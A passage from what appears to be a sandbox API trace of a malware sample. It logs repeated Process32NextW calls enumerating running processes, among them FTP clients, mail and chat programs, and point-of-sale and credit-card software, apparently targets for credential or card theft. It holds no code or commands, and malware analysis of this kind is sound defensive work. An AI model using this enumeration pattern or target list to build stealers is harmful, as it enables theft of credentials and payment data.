cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0093.162] lstrlenW (lpString="while damaged.exe") returned 17 [0093.163] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0093.163] lstrlenW (lpString="hosted_thee.exe") returned 15 [0093.163] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0093.164] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0093.164] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0093.165] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0093.165] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0093.165] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0093.165] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0093.166] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0093.166] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0093.166] lstrlenW (lpString="l_greene_go.exe") returned 15 [0093.167] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0093.167] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0093.167] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0093.168] lstrlenW (lpString="spots wm.exe") returned 12 [0093.168] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0093.168] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0093.168] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0093.169] lstrlenW (lpString="lp imagination.exe") returned 18 [0093.169] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0093.169] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0093.170] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0093.170] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0093.170] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0093.171] lstrlenW (lpString="voluntary teach.exe") returned 19 [0093.171] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0093.171] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0093.171] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0093.172] lstrlenW (lpString="jesse.exe") returned 9 [0093.172] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0093.172] lstrlenW (lpString="partners_format.exe") returned 19 [0093.173] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0093.173] lstrlenW (lpString="predict.exe") returned 11 [0093.173] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0093.174] lstrlenW (lpString="supervisor.exe") returned 14 [0093.174] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0093.174] lstrlenW (lpString="3dftp.exe") returned 9 [0093.174] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0093.175] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0093.175] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0093.176] lstrlenW (lpString="alftp.exe") returned 9 [0093.176] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0093.176] lstrlenW (lpString="barca.exe") returned 9 [0093.176] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0093.177] lstrlenW (lpString="bitkinex.exe") returned 12 [0093.177] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0093.177] lstrlenW (lpString="coreftp.exe") returned 11 [0093.177] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0093.178] lstrlenW (lpString="far.exe") returned 7 [0093.178] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0093.179] lstrlenW (lpString="filezilla.exe") returned 13 [0093.179] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0093.179] lstrlenW (lpString="flashfxp.exe") returned 12 [0093.179] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0093.180] lstrlenW (lpString="fling.exe") returned 9 [0093.180] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0093.180] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0093.180] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0093.181] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0093.181] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0093.182] lstrlenW (lpString="icq.exe") returned 7 [0093.182] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0093.182] lstrlenW (lpString="leechftp.exe") returned 12 [0093.182] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0093.183] lstrlenW (lpString="ncftp.exe") returned 9 [0093.183] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0093.184] lstrlenW (lpString="notepad.exe") returned 11 [0093.184] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0093.185] lstrlenW (lpString="operamail.exe") returned 13 [0093.185] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0093.187] lstrlenW (lpString="pidgin.exe") returned 10 [0093.187] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0093.188] lstrlenW (lpString="scriptftp.exe") returned 13 [0093.188] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0093.189] lstrlenW (lpString="skype.exe") returned 9 [0093.189] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0093.190] lstrlenW (lpString="smartftp.exe") returned 12 [0093.190] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0093.191] lstrlenW (lpString="thunderbird.exe") returned 15 [0093.191] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0093.191] lstrlenW (lpString="totalcmd.exe") returned 12 [0093.191] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0093.192] lstrlenW (lpString="trillian.exe") returned 12 [0093.192] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0093.193] lstrlenW (lpString="webdrive.exe") returned 12 [0093.193] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0093.194] lstrlenW (lpString="whatsapp.exe") returned 12 [0093.194] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0093.195] lstrlenW (lpString="winscp.exe") returned 10 [0093.195] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0093.227] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0093.228] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0093.229] lstrlenW (lpString="active-charge.exe") returned 17 [0093.229] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0093.230] lstrlenW (lpString="accupos.exe") returned 11 [0093.230] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0093.231] lstrlenW (lpString="afr38.exe") returned 9 [0093.231] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0093.232] lstrlenW (lpString="aldelo.exe") returned 10 [0093.232] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0093.235] lstrlenW (lpString="ccv_server.exe") returned 14 [0093.235] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0093.236] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0093.236] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0093.237] lstrlenW (lpString="creditservice.exe") returned 17 [0093.237] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0093.238] lstrlenW (lpString="edcsvr.exe") returned 10 [0093.238] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0093.239] lstrlenW (lpString="fpos.exe") returned 8 [0093.239] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0093.240] lstrlenW (lpString="isspos.exe") returned 10 [0093.240] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0093.241] lstrlenW (lpString="mxslipstream.exe") returned 16 [0093.241] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0093.242] lstrlenW (lpString="omnipos.exe") returned 11 [0093.242] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0093.243] lstrlenW (lpString="spcwin.exe") returned 10 [0093.243] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0093.244] lstrlenW (lpString="spgagentservice.exe") returned 19 [0093.244] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0093.245] lstrlenW (lpString="utg2.exe") returned 8 [0093.245] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0093.246] lstrlenW (lpString="atlascomedy.exe") returned 15 [0093.246] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0093.247] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0093.247] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0093.248] lstrlenW (lpString="ntsc.exe") returned 8 [0093.248] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0093.249] lstrlenW (lpString="criteria.exe") returned 12 [0093.249] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.250] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.250] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.251] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.251] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0093.252] lstrlenW (lpString="taskhost.exe") returned 12 [0093.252] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0093.253] lstrlenW (lpString="winhost.exe") returned 11 [0093.253] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0093.253] lstrlenW (lpString="cmd.exe") returned 7 [0093.254] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, 